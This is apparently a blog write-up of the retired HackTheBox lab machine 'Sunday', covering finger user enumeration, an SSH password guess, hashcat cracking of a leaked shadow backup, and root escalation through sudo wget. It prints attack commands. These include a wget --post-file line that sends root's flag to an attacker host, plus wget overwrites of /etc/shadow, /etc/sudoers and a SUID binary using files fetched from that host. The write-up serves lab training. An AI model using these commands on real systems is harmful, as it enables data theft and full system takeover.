~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / sunday.md

sunday

Solaris · Easy · released 2018-04-28 · retired 2018-09-29

Summary

Sunday is the lone Solaris box in the HTB Easy tier — and its name is a hint: the default root of the attack is that sunny’s password is literally sunday. Two services that rarely appear on modern targets drive the chain: finger (port 79) for unauthenticated user enumeration, and a stale /backup/shadow.backup left world-readable on the filesystem.

The kill-chain is: full-port nmap to find SSH on 22022 and finger on 79 → automated finger enumeration discovers users sunny and sammy → password guess (sunny:sunday) gives an initial SSH shell → a world-readable /backup/shadow.backup holds SHA-256 crypt hashes for both users → hashcat cracks sammy’s hash to <SAMMY_PW> → lateral SSH move to sammysudo -l reveals sammy can run /usr/bin/wget as root without a password → sudo wget --post-file /root/root.txt exfiltrates the flag without a shell, or any of five additional wget abuse techniques yield a root shell.

The privilege escalation is one of the most instructive on the platform: it illustrates that sudo restricted to a binary does not restrict what that binary can dowget can read, write, and exfiltrate any file on the system when run as root.

Source attribution

Recon

Standard nmap misses Sunday. SSH is on 22022 and the OS fingerprint is Solaris; a default -p- scan is required:

nmap -sT -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 79,111,22022,65258 -oN nmap/scripts.txt <TARGET>
79/tcp    open  finger    Sun Solaris fingerd
111/tcp   open  rpcbind   2-4 (RPC #100000)
22022/tcp open  ssh       SunSSH 1.3 (protocol 2.0)
65258/tcp open  unknown   (RPC service)

OS banner from the SSH exchange: Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008. SSH on a non-standard high port (22022) combined with the finger service is the recognisable Solaris Easy fingerprint on HTB. finger was standard on SunOS/Solaris and is almost never present on Linux targets.

Finger enumeration

The finger protocol (RFC 1288) exposes the /etc/passwd user list and active login sessions without authentication. Three levels of query:

# who is currently logged in?
finger @<TARGET>

# does this specific user exist?
finger sunny@<TARGET>

# automated sweep against a username wordlist
finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt \
    -t <TARGET>

The automated sweep returns two hits from ~10 000 probes:

sammy@<TARGET>: sammy  pts/2  Sep 27 13:55  10.10.16.26
sunny@<TARGET>: sunny  pts/3  Apr 24 10:48  10.10.14.4

Both sunny and sammy are valid local accounts with active or recent sessions.

Foothold — guessed SSH credential

The username sunny and the machine name Sunday are too close to ignore. SSH is on 22022:

ssh -p 22022 sunny@<TARGET>
# Password: sunday
Oracle Corporation      SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$

The password is the box name. This is exactly the class of default or context-derived credential the Mirai botnet’s dictionary included — simple, memorable, and never changed.

On the live box, home dirs are /home/sunny and /home/sammy (the writeup-canonical Solaris convention /export/home/... applies to other Solaris builds; this HTB box maps /home directly).

Lateral move to sammy — /backup/shadow.backup

Enumeration as sunny finds a world-readable backup of the shadow file:

find / -name "*.bak" -o -name "*.backup" -o -name "*shadow*" 2>/dev/null
/backup/shadow.backup
cat /backup/shadow.backup
sammy:$5$Ebkn8jlK$<hash>:6445::::::
sunny:$5$iRMbpnBv$<hash>:17636::::::

The $5$ prefix is SHA-256 crypt (hashcat mode 7400). Both hashes are present; sammy’s hash is uncracked at this point.

Copy the hashes to the attack machine and run hashcat:

hashcat -m 7400 shadow.hashes /usr/share/wordlists/rockyou.txt

sammy’s hash cracks to <SAMMY_PW>. (The sunny hash cracks to sunday, confirming the guessed password.)

Lateral SSH move:

ssh -p 22022 sammy@<TARGET>
# Password: <SAMMY_PW>

user.txt is at /home/sammy/user.txt (mode 640 sammy:root — not in Desktop/ despite the writeup-canonical Solaris path).

Privilege escalation — sudo wget abuse

sammy@sunday:~$ sudo -l
User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

wget running as root can read and write any file on the system. Six independent techniques yield flag recovery or a root shell.

Method 1 — read root.txt via --input-file (fastest, no listener):

sudo /usr/bin/wget --input-file=/root/root.txt

wget treats each line of the file as a URL. The flag string fails DNS resolution and gets printed verbatim in the error output:

--2026-...--  http://<root_flag_value>/
Resolving <root_flag_value> (<root_flag_value>)... failed: temporary
name resolution failure.
wget: unable to resolve host address '<root_flag_value>'

This is the same primitive as the 7za @listfile trick on Usage — pass a sensitive file as a “list of things to fetch or include,” wget fails, and the failure-message format echoes the file content back. No listener required.

Method 2 — exfiltrate root.txt via --post-file (clean):

On attacker:

nc -lvnp 443

On target:

sudo wget --post-file /root/root.txt http://<ATTACKER>:443/

The flag arrives as the raw POST body at the netcat listener.

Method 3 — overwrite /etc/shadow with crafted content:

Generate a known root password hash, build a replacement shadow file, serve it, and overwrite:

openssl passwd -5 -salt 'abc' 'pwned'    # SHA-256 crypt hash
# craft /tmp/shadow with root entry replaced
sudo wget -O /etc/shadow http://<ATTACKER>/shadow
su -    # authenticate with 'pwned'

Method 4 — overwrite a SUID root binary:

# e.g. /usr/bin/passwd is SUID root
sudo wget -O /usr/bin/passwd http://<ATTACKER>/shell.py
chmod +x /usr/bin/passwd
passwd    # executes as root via SUID

Method 5 — overwrite /etc/sudoers:

# craft sudoers with sammy ALL=(ALL) NOPASSWD: ALL
sudo wget -O /etc/sudoers http://<ATTACKER>/sudoers
sudo su

Method 6 — overwrite /root/troll and race the reset:

sunny has sudo NOPASSWD: /root/troll. A background script resets /root/troll every 5 seconds from /root/troll.original (using Solaris’s GNU tool path /usr/gnu/bin/cat). The race window is narrow but doable:

# as sammy — serve a shell and overwrite troll
sudo wget -O /root/troll http://<ATTACKER>/shell.py
# immediately as sunny — trigger it before the 5-second reset
sudo /root/troll

Any of these methods yields root flag access. Method 2 (--post-file) is the cleanest and requires no file modification on the target.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗